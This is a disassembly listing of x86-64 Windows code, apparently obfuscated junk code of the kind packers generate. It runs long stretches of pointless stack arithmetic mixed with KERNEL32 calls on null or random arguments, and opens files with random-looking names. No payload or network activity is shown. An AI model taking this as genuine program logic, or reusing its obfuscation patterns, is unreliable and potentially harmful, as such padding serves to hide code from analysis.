mov rax, qword [rsp + 0x19cb8]
mov rcx, qword [rsp + 0x199f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xadd0], eax
movzx eax, word [rsp + 0x388c]
mov rcx, qword [rsp + 0x19aa8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x3348], ax
movzx eax, byte [rsp + 0x785]
movzx ecx, byte [rsp + 0x44f]
imul eax, ecx
mov byte [rsp + 0x829], al
mov rax, qword [rsp + 0x1a050]
mov eax, dword [rax]
mov dword [rsp + 0xd744], eax
mov rax, qword [rsp + 0x19710]
mov eax, dword [rax]
mov ecx, dword [0x1402ad68c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1a150]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19c58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd464]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd6b8], eax
mov rax, qword [rsp + 0x19a68]
mov eax, dword [rax]
mov dword [rsp + 0xd748], eax
movzx eax, word [rsp + 0x36b0]
mov rcx, qword [rsp + 0x1a2b8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402ad7e4], ax
mov rax, qword [rsp + 0x1a2e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x795]
sub eax, ecx
mov rcx, qword [rsp + 0x19a50]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
mov rax, qword [rsp + 0x19cb8]
mov eax, dword [rax]
mov ecx, dword [0x1402ad738]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c48], eax
mov rax, qword [rsp + 0x19cd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd5e8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xc888], eax
mov rax, qword [rsp + 0x19768]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19ec8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x36f4], ax
xor r9d, r9d
lea r8, [rsp + 0x19b38]
mov rdx, qword [rsp + 0x19ed8]
mov rcx, qword [rsp + 0x1a1c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xd3b4], eax
mov ecx, 8
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xd74c], eax
mov rax, qword [rsp + 0x1a270]
movzx eax, byte [rax]
mov byte [rsp + 0x83c], al
mov rax, qword [rsp + 0x1a0c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19a08]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7b4], al
mov rax, qword [rsp + 0x1a030]
movzx eax, word [rax]
mov word [rsp + 0x3948], ax
mov eax, dword [rsp + 0xa2a0]
mov ecx, dword [0x1402ad754]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9118], eax
mov rax, qword [rsp + 0x1a2c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcdf0]
add ecx, eax
mov eax, ecx
mov dword [0x1402ad7e8], eax
mov rcx, qword [rsp + 0x19ad8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xd690], eax
mov rax, qword [0x1402bf648]
mov ecx, dword [rsp + 0xd2a0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xd150], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xcf94], eax
mov rax, qword [rsp + 0x19af0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19e68]
mov qword [rsp + 0x1a4b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a4b0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x86e8], eax
mov rax, qword [0x1402bf6c8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19e90]
mov qword [rsp + 0x1a4b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a4b8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xcecc], eax
lea rax, [rsp + 0x2d64]
mov qword [rsp + 0x1a4c0], rax
mov rax, qword [rsp + 0x19c70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a398]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x806], al
mov eax, dword [rsp + 0xd32c]
mov dword [rsp + 0xd750], eax
mov edx, 0x70c2fa
mov rcx, qword [rsp + 0x19b00]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xd754], eax
mov eax, dword [rsp + 0xcf14]
mov ecx, dword [rsp + 0xcff0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xb6ec], eax
mov rax, qword [rsp + 0x19e08]
mov rcx, qword [rsp + 0x19888]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xac7c], eax
mov rax, qword [rsp + 0x19f18]
mov rcx, qword [0x1402bf638]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402bf770], eax
movzx eax, word [rsp + 0x252c]
mov word [rsp + 0x394c], ax
mov rax, qword [rsp + 0x19f98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19948]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x80e], al
movsx eax, word [rsp + 0x2c08]
mov rcx, qword [rsp + 0x19ca8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2dd0], ax
mov rax, qword [rsp + 0x19f48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x825]
add eax, ecx
mov byte [rsp + 0x7b0], al
mov rax, qword [rsp + 0x19af0]
mov ecx, dword [rsp + 0xd4d4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd3a0], eax
mov eax, dword [rsp + 0xb66c]
mov dword [rsp + 0xd758], eax
mov rax, qword [rsp + 0x19f70]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe4]
imul eax, ecx
mov byte [rsp + 0x838], al
movzx eax, word [rsp + 0x1df4]
mov word [rsp + 0x3950], ax
mov rax, qword [0x1402bf760]
mov ecx, dword [rsp + 0xd650]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402bf5f8], eax
mov rax, qword [rsp + 0x19d70]
mov ecx, dword [rsp + 0xd450]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd4e8], eax
lea rcx, [rsp + 0x2d530]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xd644], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rax, qword [rsp + 0x19850]
mov rcx, qword [0x1402bf638]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x19b40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19f58]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd0f8]
shl eax, cl
mov dword [rsp + 0xaf04], eax
mov rax, qword [rsp + 0x19f38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x344c]
or eax, ecx
mov rcx, qword [rsp + 0x19ce8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x7ef]
mov byte [rsp + 0x83d], al
mov rax, qword [rsp + 0x19c00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd4bc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xd358], eax
movzx ecx, word [rsp + 0x3790]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x3954], ax
mov rax, qword [rsp + 0x1a3e0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1a008]
mov qword [rsp + 0x1a4c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a4c8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xd564], eax
mov rax, qword [rsp + 0x1a1b8]
mov eax, dword [rax]
mov dword [rsp + 0xd75c], eax
mov rax, qword [rsp + 0x19c98]
mov eax, dword [rax]
mov dword [0x1402bf538], eax
mov rax, qword [rsp + 0x19d70]
mov rcx, qword [rsp + 0x198f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd60c], eax
movzx eax, byte [rsp + 0x786]
mov byte [rsp + 0x83e], al
mov rax, qword [rsp + 0x19800]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3740]
add eax, ecx
mov word [rsp + 0x2860], ax
movzx eax, byte [rsp + 0x795]
mov rcx, qword [rsp + 0x19a08]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x363], al
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xcebc], eax
movzx eax, word [rsp + 0x3928]
movzx ecx, word [rsp + 0x308c]
add eax, ecx
mov word [rsp + 0x17fc], ax
mov rax, qword [rsp + 0x19a20]
mov rcx, qword [rsp + 0x19710]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd288], eax
mov eax, dword [rsp + 0xd348]
mov dword [rsp + 0xd760], eax
movzx eax, word [0x1402ad790]
movzx ecx, word [rsp + 0x32a4]
sub eax, ecx
mov word [rsp + 0x20c8], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xcdec], eax
mov rax, qword [rsp + 0x19b78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3a1]
sub eax, ecx
mov byte [0x1402acc16], al
mov eax, dword [0x1402ad69c]
mov dword [rsp + 0xd764], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xd674], eax
mov rax, qword [rsp + 0x19d98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd238]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd1c4], eax
mov rax, qword [rsp + 0x19b40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd1dc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c50], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.kTnjM4wOaAzy5E5
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1a4d0], rax
mov rax, qword [rsp + 0x1a448]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xbad0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xc6ac], eax
mov rax, qword [rsp + 0x1a4a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3688]
sar eax, cl
mov word [rsp + 0x367c], ax
movzx eax, byte [rsp + 0x3be]
mov byte [rsp + 0x83f], al
mov eax, dword [rsp + 0xcedc]
mov rcx, qword [0x1402bf638]
mov qword [rsp + 0x1a4d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a4d8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xb9f4], eax
mov eax, dword [rsp + 0xd5a0]
mov ecx, dword [rsp + 0x91fc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xd234], eax
mov rax, qword [rsp + 0x19940]
movsx eax, word [rax]
movsx ecx, word [0x1402ad6e4]
sub eax, ecx
mov word [0x1402ad63c], ax
movzx eax, byte [rsp + 0x812]
mov byte [rsp + 0x840], al
movzx eax, byte [rsp + 0x82a]
movzx ecx, byte [rsp + 0x7c0]
and eax, ecx
mov rcx, qword [rsp + 0x19e38]
mov byte [rcx], al
mov rax, qword [rsp + 0x1a010]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a318]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x2dc0], ax
mov rax, qword [rsp + 0x19db8]
mov rcx, qword [rsp + 0x19e18]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x90c4], eax
mov rax, qword [rsp + 0x1a3a0]
mov eax, dword [rax]
mov dword [rsp + 0xd768], eax
mov rax, qword [0x1402bf628]
mov ecx, dword [rsp + 0xce14]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xad64], eax
mov rax, qword [rsp + 0x1a098]
mov rcx, qword [rsp + 0x1a3e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd1ec], eax
mov eax, dword [rsp + 0x8de8]
mov dword [rsp + 0xd76c], eax
mov rax, qword [rsp + 0x1a0d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19a28]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x38bc], ax
movzx eax, byte [rsp + 0xaa]
movzx ecx, byte [rsp + 0x7d1]
add eax, ecx
mov byte [0x1402acc17], al
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
lea rax, [rsp + 0xd118]
mov qword [rsp + 0x1a4e0], rax
mov rax, qword [0x1402bf5a8]
mov rcx, qword [rsp + 0x19e08]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19c98]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x19ff8], rax
lea rcx, [rsp + 0x1a208]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movzx ecx, word [rsp + 0x3668]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x3958], ax
mov rax, qword [rsp + 0x1a3e0]
mov ecx, dword [rsp + 0xd448]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcfbc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
mov rax, qword [0x1402bf740]
mov ecx, dword [rsp + 0xd24c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xbdbc], eax
mov rax, qword [rsp + 0x19ec0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19ce8]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x3914], ax
lea rax, [rsp + 0x78d]
mov qword [rsp + 0x1a4e8], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xbcd5
mov rcx, qword [rsp + 0x1a388]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xd274], eax
mov rax, qword [rsp + 0x19ca8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1a340]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x326c], ax
mov rcx, qword [rsp + 0x19c18]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xd770], eax
movsx eax, byte [rsp + 0x7d2]
movsx ecx, byte [rsp + 0x7eb]
sar eax, cl
mov byte [rsp + 0x7c8], al
mov rax, qword [rsp + 0x19710]
mov ecx, dword [0x1402ad70c]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x1402ad6e8], eax
mov rax, qword [rsp + 0x19a60]
mov eax, dword [rax]
mov dword [rsp + 0xd774], eax
mov rax, qword [rsp + 0x19ec0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a350]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x37b4], ax
mov rax, qword [rsp + 0x19d90]
movzx eax, byte [rax]
mov byte [rsp + 0x841], al
mov rax, qword [rsp + 0x198b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd3f0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd3b8], eax
mov eax, dword [rsp + 0x83ec]
mov ecx, dword [rsp + 0xd0dc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb6ec], eax
mov eax, dword [rsp + 0xd698]
mov dword [rsp + 0xd778], eax
mov rax, qword [rsp + 0x19df8]
mov ecx, dword [rsp + 0xd438]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd478], eax
lea rax, [rsp + 0x7cf]
mov qword [rsp + 0x1a4f0], rax
mov rcx, qword [rsp + 0x19990]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xcf94], eax
lea rax, [rsp + 0x3934]
mov qword [0x1402bf530], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x19b10], rax
mov rax, qword [0x1402bf740]
mov ecx, dword [rsp + 0xd4f4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd474], eax
mov eax, dword [rsp + 0xd19c]
mov ecx, dword [rsp + 0xd750]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa95c], eax
mov rax, qword [rsp + 0x19980]
mov rcx, qword [0x1402bf5c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd4ec], eax
mov rax, qword [rsp + 0x1a338]
mov ecx, dword [rsp + 0xd594]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xb22c], eax
mov r9d, 1
lea r8, [rsp + 0x19738]
mov rdx, qword [rsp + 0x19918]
mov rcx, qword [rsp + 0x19690]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xd77c], eax
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xd154], eax
mov eax, dword [rsp + 0xd5b4]
mov dword [rsp + 0xd780], eax
lea rcx, [rsp + 0x2afa0]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0x19ee0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19af8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x198c8]
mov byte [rcx], al
movzx eax, word [rsp + 0x3704]
mov word [rsp + 0x395c], ax
mov rax, qword [rsp + 0x19bc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3634]
add eax, ecx
mov word [rsp + 0x36dc], ax
movzx eax, byte [rsp + 0x7d5]
movzx ecx, byte [rsp + 0x4c2]
add eax, ecx
mov byte [0x1402acbce], al
mov eax, dword [rsp + 0xd0a4]
mov ecx, dword [rsp + 0xa668]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd330], eax
mov rax, qword [rsp + 0x1a0d0]
mov rcx, qword [rsp + 0x19bf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xbdd4], eax
mov rax, qword [rsp + 0x1a310]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19c28]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x822], al
mov rax, qword [rsp + 0x19858]
movzx eax, word [rax]
mov word [rsp + 0x3960], ax
mov eax, dword [rsp + 0xd05c]
movzx ecx, al
mov eax, dword [rsp + 0xd028]
shl eax, cl
mov dword [rsp + 0x8b9c], eax
mov rax, qword [rsp + 0x19d58]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19710]
mov qword [rsp + 0x1a4f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a4f8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xb6d4], eax
mov eax, dword [rsp + 0x9828]
mov dword [rsp + 0xd784], eax
mov rax, qword [rsp + 0x19cf8]
mov ecx, dword [0x1402ad714]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd3d8], eax
mov rax, qword [rsp + 0x1a2e0]
movzx eax, byte [rax]
mov byte [0x1402bf52d], al
movzx eax, word [rsp + 0x252c]
movzx ecx, word [rsp + 0x2ad4]
imul eax, ecx
mov word [rsp + 0x2070], ax
mov rax, qword [rsp + 0x199f8]
mov ecx, dword [rsp + 0x9684]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xb520], eax
mov eax, dword [rsp + 0xd714]
mov ecx, dword [rsp + 0xb5b4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19f60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1a220]
movzx eax, byte [rax]
mov byte [rsp + 0x842], al
movsx eax, word [rsp + 0x373c]
movsx ecx, word [rsp + 0x3924]
and eax, ecx
mov word [rsp + 0x3730], ax
movzx eax, word [rsp + 0x3814]
mov word [rsp + 0x3964], ax
mov rax, qword [rsp + 0x19c70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a0a0]
movzx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x19948]
mov byte [rcx], al
mov rax, qword [rsp + 0x19ef0]
mov eax, dword [rax]
mov ecx, dword [0x1402ad688]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xc564], eax
mov rax, qword [rsp + 0x1a080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd6b8]
sub ecx, eax
mov eax, ecx
mov dword [0x1402ad64c], eax
mov rax, qword [rsp + 0x1a200]
mov ecx, dword [rsp + 0xd5a0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd488], eax
mov rax, qword [rsp + 0x19e50]
mov ecx, dword [rsp + 0xd6f8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7fa4], eax
mov eax, dword [rsp + 0xad2c]
mov dword [rsp + 0xd788], eax
mov rax, qword [rsp + 0x1a4e8]
movzx eax, byte [rax]
movzx ecx, byte [0x1402acb8f]
sub eax, ecx
mov byte [rsp + 0x7bc], al
lea rax, [rsp + 0x361c]
mov qword [rsp + 0x1a500], rax
mov rax, qword [rsp + 0x19988]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd348]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xd614], eax
mov eax, dword [rsp + 0xcec8]
movzx ecx, al
mov eax, dword [0x1402ad73c]
shr eax, cl
mov dword [rsp + 0xd5d0], eax
mov eax, dword [rsp + 0xd2e4]
mov dword [rsp + 0xd78c], eax
mov eax, dword [rsp + 0xcf98]
movzx ecx, al
mov eax, dword [rsp + 0xa4fc]
shl eax, cl
mov dword [0x1402ad7ec], eax
movzx eax, byte [0x1402bf640]
mov rcx, qword [rsp + 0x1a1d0]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x19d00]
mov byte [rcx], al
mov rax, qword [rsp + 0x19c40]
movzx eax, word [rax]
mov word [rsp + 0x3968], ax
movsx eax, word [rsp + 0x3874]
mov rcx, qword [rsp + 0x1a340]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x395c], ax
movsx eax, byte [rsp + 0x7f5]
mov rcx, qword [rsp + 0x1a158]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x820], al
mov rax, qword [rsp + 0x19ed0]
mov rcx, qword [rsp + 0x1a1b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8f54], eax
mov rax, qword [rsp + 0x1a3c0]
mov rcx, qword [rsp + 0x19938]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xab2c], eax
mov rax, qword [rsp + 0x1a4a8]
movzx eax, word [rax]
mov word [rsp + 0x396c], ax
movzx eax, byte [rsp + 0x808]
mov rcx, qword [rsp + 0x19f98]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x273], al
mov rax, qword [rsp + 0x19f88]
mov eax, dword [rax]
mov ecx, dword [0x1402ad774]
and ecx, eax
mov eax, ecx
mov dword [0x1402ad664], eax
mov rax, qword [rsp + 0x1a2c8]
mov eax, dword [rax]
mov dword [rsp + 0xd790], eax
mov rax, qword [rsp + 0x198b8]
mov ecx, dword [rsp + 0xd660]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd5f0], eax
mov eax, dword [rsp + 0xbdbc]
mov ecx, dword [0x1402ad780]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd668], eax
movzx eax, byte [rsp + 0x7bb]
movzx ecx, byte [rsp + 0x451]
sub eax, ecx
mov byte [rsp + 0x70e], al
mov rax, qword [rsp + 0x1a010]
movzx eax, word [rax]
movzx ecx, word [0x1402ad718]
add eax, ecx
mov word [rsp + 0x36ac], ax
mov rax, qword [rsp + 0x19b18]
mov eax, dword [rax]
mov dword [rsp + 0xd794], eax
mov eax, dword [rsp + 0xced0]
mov rcx, qword [rsp + 0x198a8]
mov qword [rsp + 0x1a508], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a508]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa7d8], eax
mov rax, qword [rsp + 0x19f00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcfdc]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1a440]
mov dword [rcx], eax
mov eax, dword [rsp + 0xd418]
mov rcx, qword [rsp + 0x19938]
mov qword [rsp + 0x1a510], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a510]
mov eax, dword [rax]
shl eax, cl
mov dword [0x1402ad6d4], eax
lea rax, [rsp + 0xd504]
mov qword [rsp + 0x1a518], rax
movsx eax, byte [0x1402acb86]
mov rcx, qword [rsp + 0x1a280]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x17d], al
mov rax, qword [rsp + 0x19940]
movzx eax, word [rax]
mov word [rsp + 0x3970], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x1a520], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
mov rax, qword [rsp + 0x1a2e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x13f]
and eax, ecx
mov byte [rsp + 0x766], al
movzx eax, word [rsp + 0x38c0]
mov rcx, qword [rsp + 0x1a350]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x3908], ax
lea rax, [rsp + 0xd268]
mov qword [rsp + 0x1a528], rax
lea rdx, [rsp + 0xcf24]
mov rcx, qword [rsp + 0x1a110]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xd258], eax
mov rax, qword [rsp + 0x1a070]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9204]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd53c], eax
movzx eax, word [rsp + 0x37d8]
movzx ecx, word [rsp + 0x3784]
add eax, ecx
mov word [rsp + 0x1c50], ax
movzx eax, byte [rsp + 0x78a]
mov rcx, qword [rsp + 0x19948]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402acc22], al
mov eax, dword [0x1402ad780]
mov ecx, dword [rsp + 0x93f0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd408], eax
mov eax, dword [rsp + 0xb664]
mov ecx, dword [rsp + 0xc6c4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd004], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.9SV9K0ydGp2vhLgLeD
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1a530], rax
mov eax, dword [rsp + 0xcee0]
mov dword [rsp + 0xd798], eax
mov rax, qword [0x1402bf740]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb024]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa25c], eax
movzx eax, byte [rsp + 0x832]
mov byte [rsp + 0x843], al
movzx eax, word [rsp + 0x284c]
movzx ecx, word [rsp + 0x180c]
add eax, ecx
mov word [rsp + 0x23d4], ax
lea rax, [rsp + 0xd0d4]
mov qword [rsp + 0x1a538], rax
mov rax, qword [rsp + 0x1a3e0]
mov ecx, dword [rsp + 0xce54]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd71c], eax
mov rax, qword [rsp + 0x19960]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x389c]
sub eax, ecx
mov word [0x1402ad7f0], ax
movsx eax, byte [rsp + 0x7e5]
mov rcx, qword [rsp + 0x1a220]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xb4], al
mov rax, qword [rsp + 0x19b50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a378]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1be4], ax
movzx eax, byte [rsp + 0x73]
movzx ecx, byte [0x1402acc16]
shl eax, cl
mov byte [rsp + 0x815], al
mov rax, qword [rsp + 0x19b08]
mov eax, dword [rax]
mov dword [rsp + 0xd79c], eax
mov eax, dword [rsp + 0x8354]
mov ecx, dword [rsp + 0xd120]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8a04], eax
mov eax, dword [rsp + 0xd380]
mov ecx, dword [rsp + 0xad64]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xca38], eax
lea rdx, [rsp + 0xd338]
mov rcx, qword [rsp + 0x1a360]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xcd9c], eax
mov rcx, qword [rsp + 0x1a148]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xd7a0], eax
mov rax, qword [rsp + 0x199c8]
mov eax, dword [rax]
mov dword [rsp + 0xd7a4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
mov rax, qword [rsp + 0x19a68]
mov ecx, dword [rsp + 0xd0ac]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd750], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
movzx eax, word [rsp + 0x3848]
